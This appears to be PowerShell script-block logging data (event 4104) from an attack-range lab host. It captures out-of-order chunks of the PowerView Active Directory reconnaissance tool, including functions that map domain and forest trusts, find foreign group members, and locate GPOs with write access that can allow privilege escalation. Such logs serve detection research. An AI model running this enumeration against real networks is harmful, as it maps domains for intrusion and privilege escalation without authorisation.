Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989540 Keywords=None Message=Creating Scriptblock text (60 of 61): AMPLE Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using .NET methods and output everything to a .csv file. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries using the specified alternate credentials, and output everything to a .csv file. .OUTPUTS PowerView.DomainTrust.LDAP Custom PSObject with translated domain LDAP trust result fields (default). PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods. PowerView.DomainTrust.API Custom PSObject with translated domain API trust result fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DomainTrust.NET')] [OutputType('PowerView.DomainTrust.LDAP')] [OutputType('PowerView.DomainTrust.API')] [CmdletBinding(DefaultParameterSetName = 'LDAP')] Param( [Parameter(ParameterSetName = 'API')] [Switch] $API, [Parameter(ParameterSetName = 'NET')] [Switch] $NET, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [String[]] $Properties, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [Parameter(ParameterSetName = 'LDAP')] [Parameter(ParameterSetName = 'API')] [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Parameter(ParameterSetName = 'LDAP')] [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Parameter(ParameterSetName = 'LDAP')] [Switch] $Tombstone, [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) # keep track of domains seen so we don't hit infinite recursion $SeenDomains = @{} # our domain status tracker $Domains = New-Object System.Collections.Stack $DomainTrustArguments = @{} if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } # get the current domain and push it onto the stack if ($PSBoundParameters['Credential']) { $CurrentDomain = (Get-Domain -Credential $Credential).Name } else { $CurrentDomain = (Get-Domain).Name } $Domains.Push($CurrentDomain) while($Domains.Count -ne 0) { $Domain = $Domains.Pop() # if we haven't seen this domain before if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain $DomainTrustArguments['Domain'] = $Domain $Trusts = Get-DomainTrust @DomainTrustArguments if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist if ($PsCmdlet.ParameterSetName -eq 'NET') { $ForestTrustArguments = @{} if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target $Null = $Domains.Push($Trust.TargetName) $Trust } } } } catch { Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } } function Get-GPODelegation { <# .SYNOPSIS Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. Author: Itamar Mizrahi (@MrAnde7son) License: BSD 3-Clause Required Dependencies: None .PARAMETER GPOName The GPO display name to query for, wildcards accepted. .PARAMETER PageSize Specifies the PageSize to set for the LDAP searcher object. .EXAMPLE Get-GPODelegation Returns all GPO delegations in current forest. .EXAMPLE Get-GPODelegation -GPOName Returns all GPO delegations on a given GPO. #> [CmdletBinding()] Param ( [String] $GPOName = '*', [ValidateRange(1,10000)] [Int] $PageSize = 200 ) $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $DomainList = @($Forest.Domains) $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } foreach ($Domain in $Domains) { $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" $Searcher = New-Object System.DirectoryServices.DirectorySearcher $Searcher.SearchRoot = $Domain $Searcher.Filter = $Filter $Searcher.PageSize = $PageSize $Searcher.SearchScope = "Subtree" $listGPO = $Searcher.FindAll() foreach ($gpo in $listGPO){ $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} if ($ACL -ne $null){ $GpoACL = New-Object psobject $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights $GpoACL } } } } ######################################################## # # Expose the Win32API functions and datastructures below # using PSReflect. # Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # used to parse the 'samAccountType' property for users/computers/groups $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ DOMAIN_OBJECT = '0x00000000' GROUP_OBJECT = '0x10000000' NON_SECURITY_GROUP_OBJECT = '0x10000001' ALIAS_OBJECT = '0x20000000' NON_SECURITY_ALIAS_OBJECT = '0x20000001' USER_OBJECT = '0x30000000' MACHINE_ACCOUNT = '0x30000001' TRUST_ACCOUNT = '0x30000002' APP_BASIC_GROUP = '0x40000000' APP_QUERY_GROUP = '0x40000001' ACCOUNT_TYPE_MAX = '0x7fffffff' } # used to parse the 'grouptype' property for groups $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ CREATED_BY_SYSTEM = '0x00000001' GLOBAL_SCOPE = '0x00000002' DOMAIN_LOCAL_SCOPE = '0x00000004' UNIVERSAL_SCOPE = '0x00000008' APP_BASIC = '0x00000010' APP_QUERY = '0x00000020' SECURITY = '0x80000000' } -Bitfield # used to parse the 'userAccountControl' property for users/groups $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ SCRIPT = 1 ACCOUNTDISABLE = 2 HOMEDIR_REQUIRED = 8 LOCKOUT = 16 PASSWD_NOTREQD = 32 PASSWD_CANT_CHANGE = 64 ENCRYPTED_TEXT_PWD_ALLOWED = 128 TEMP_DUPLICATE_ACCOUNT = 256 NORMAL_ACCOUNT = 512 INTERDOMAIN_TRUST_ACCOUNT = 2048 WORKSTATION_TRUST_ACCOUNT = 4096 SERVER_TRUST_ACCOUNT = 8192 DONT_EXPIRE_PASSWORD = 65536 MNS_LOGON_ACCOUNT = 131072 SMARTCARD_REQUIRED = 262144 TRUSTED_FOR_DELEGATION = 524288 NOT_DELEGATED = 1048576 USE_DES_KEY_ONLY = 2097152 DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 ConnectQuery = 2 Shadow = 3 Disconnected = 4 Idle = 5 Listen = 6 Reset = 7 Down = 8 Init = 9 } # the WTSEnumerateSessionsEx result structure $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod Po ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989539 Keywords=None Message=Creating Scriptblock text (59 of 61): ] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} $SearcherArguments['LDAPFilter'] = '(memberof=*)' if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } PROCESS { Get-DomainUser @SearcherArguments | ForEach-Object { ForEach ($Membership in $_.memberof) { $Index = $Membership.IndexOf('DC=') if ($Index) { $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' $UserDistinguishedName = $_.distinguishedname $UserIndex = $UserDistinguishedName.IndexOf('DC=') $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' if ($GroupDomain -ne $UserDomain) { # if the group domain doesn't match the user domain, display it $GroupName = $Membership.Split(',')[0].split('=')[1] $ForeignUser = New-Object PSObject $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') $ForeignUser } } } } } } function Get-DomainForeignGroupMember { <# .SYNOPSIS Enumerates groups with users outside of the group's domain and returns each foreign member. This is a domain's "incoming" access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainGroup .DESCRIPTION Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, then enumerates the members of each group, and compares the member's domain name to the parent group's domain name, outputting the member if the domains differ. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainForeignGroupMember Return all group members in the current domain where the group and member differ. .EXAMPLE Get-DomainForeignGroupMember -Domain dev.testlab.local Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. binding to the secondary.dev.testlab.local for queries, and using the specified alternate credentials. .OUTPUTS PowerView.ForeignGroupMember Custom PSObject with translated group member property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForeignGroupMember')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} $SearcherArguments['LDAPFilter'] = '(member=*)' if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } PROCESS { # standard group names to ignore $ExcludeGroups = @('Users', 'Domain Users', 'Guests') Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { $GroupName = $_.samAccountName $GroupDistinguishedName = $_.distinguishedname $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $_.member | ForEach-Object { # filter for foreign SIDs in the cn field for users in another domain, # or if the DN doesn't end with the proper DN for the queried domain $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { $MemberDistinguishedName = $_ $MemberName = $_.Split(',')[0].split('=')[1] $ForeignGroupMember = New-Object PSObject $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') $ForeignGroupMember } } } } } function Get-DomainTrustMapping { <# .SYNOPSIS This function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust .DESCRIPTION This function will enumerate domain trust relationships for the current domain using a number of methods, and then enumerates all trusts for each found domain, recursively mapping all reachable trust relationships. By default, and LDAP search using the filter '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified LDAP is used as well. If the -NET flag is specified, the .NET method GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. If any .PARAMETER API Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in LDAP method. .PARAMETER NET Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using .NET methods and output everything to a .csv file. .EXAMPLE Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. .EX ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989538 Keywords=None Message=Creating Scriptblock text (58 of 61): ops = $_.Properties $DomainTrust = New-Object PSObject $TrustAttrib = @() $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } $Direction = Switch ($Props.trustdirection) { 0 { 'Disabled' } 1 { 'Inbound' } 2 { 'Outbound' } 3 { 'Bidirectional' } } $TrustType = Switch ($Props.trusttype) { 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } 2 { 'WINDOWS_ACTIVE_DIRECTORY' } 3 { 'MIT' } } $Distinguishedname = $Props.distinguishedname[0] $SourceNameIndex = $Distinguishedname.IndexOf('DC=') if ($SourceNameIndex) { $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' } else { $SourceDomain = "" } $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') if ($SourceNameIndex) { $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) } else { $TargetDomain = "" } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') $DomainTrust } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" } } $TrustSearcher.dispose() } } elseif ($PsCmdlet.ParameterSetName -eq 'API') { # if we're searching for domain trusts through Win32 API functions if ($PSBoundParameters['Server']) { $TargetDC = $Server } elseif ($Domain -and $Domain.Trim() -ne '') { $TargetDC = $Domain } else { # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior $TargetDC = $Null } # arguments for DsEnumerateDomainTrusts $PtrInfo = [IntPtr]::Zero # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND $Flags = 63 $DomainCount = 0 # get the trust information from the target server $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $DS_DOMAIN_TRUSTS::GetSize() # parse all the result structures for ($i = 0; ($i -lt $DomainCount); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $SidString = '' $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result -eq 0) { Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $DomainTrust = New-Object PSObject $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') $DomainTrust } } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # if we're searching for domain trusts through .NET methods $FoundDomain = Get-Domain @NetSearcherArguments if ($FoundDomain) { $FoundDomain.GetAllTrustRelationships() | ForEach-Object { $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') $_ } } } } } function Get-ForestTrust { <# .SYNOPSIS Return all forest trusts for the current forest or a specified forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Forest .DESCRIPTION This function will enumerate domain trust relationships for the current (or a remote) forest using number of method using the .NET method GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. .PARAMETER Forest Specifies the forest to query for trusts, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-ForestTrust Return current forest trusts. .EXAMPLE Get-ForestTrust -Forest "external.local" Return trusts for the "external.local" forest. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestTrust -Forest "external.local" -Credential $Cred Return trusts for the "external.local" forest using the specified alternate credenitals. .OUTPUTS PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods (default). #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForestTrust.NET')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $NetForestArguments = @{} if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } $FoundForest = Get-Forest @NetForestArguments if ($FoundForest) { $FoundForest.GetAllTrustRelationships() | ForEach-Object { $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') $_ } } } } function Get-DomainForeignUser { <# .SYNOPSIS Enumerates users who are in groups outside of the user's domain. This is a domain's "outgoing" access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainUser .DESCRIPTION Uses Get-DomainUser to enumerate all users for the current (or target) domain, then calculates the given user's domain name based on the user's distinguishedName. This domain name is compared to the queried domain, and the user object is output if they differ. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return 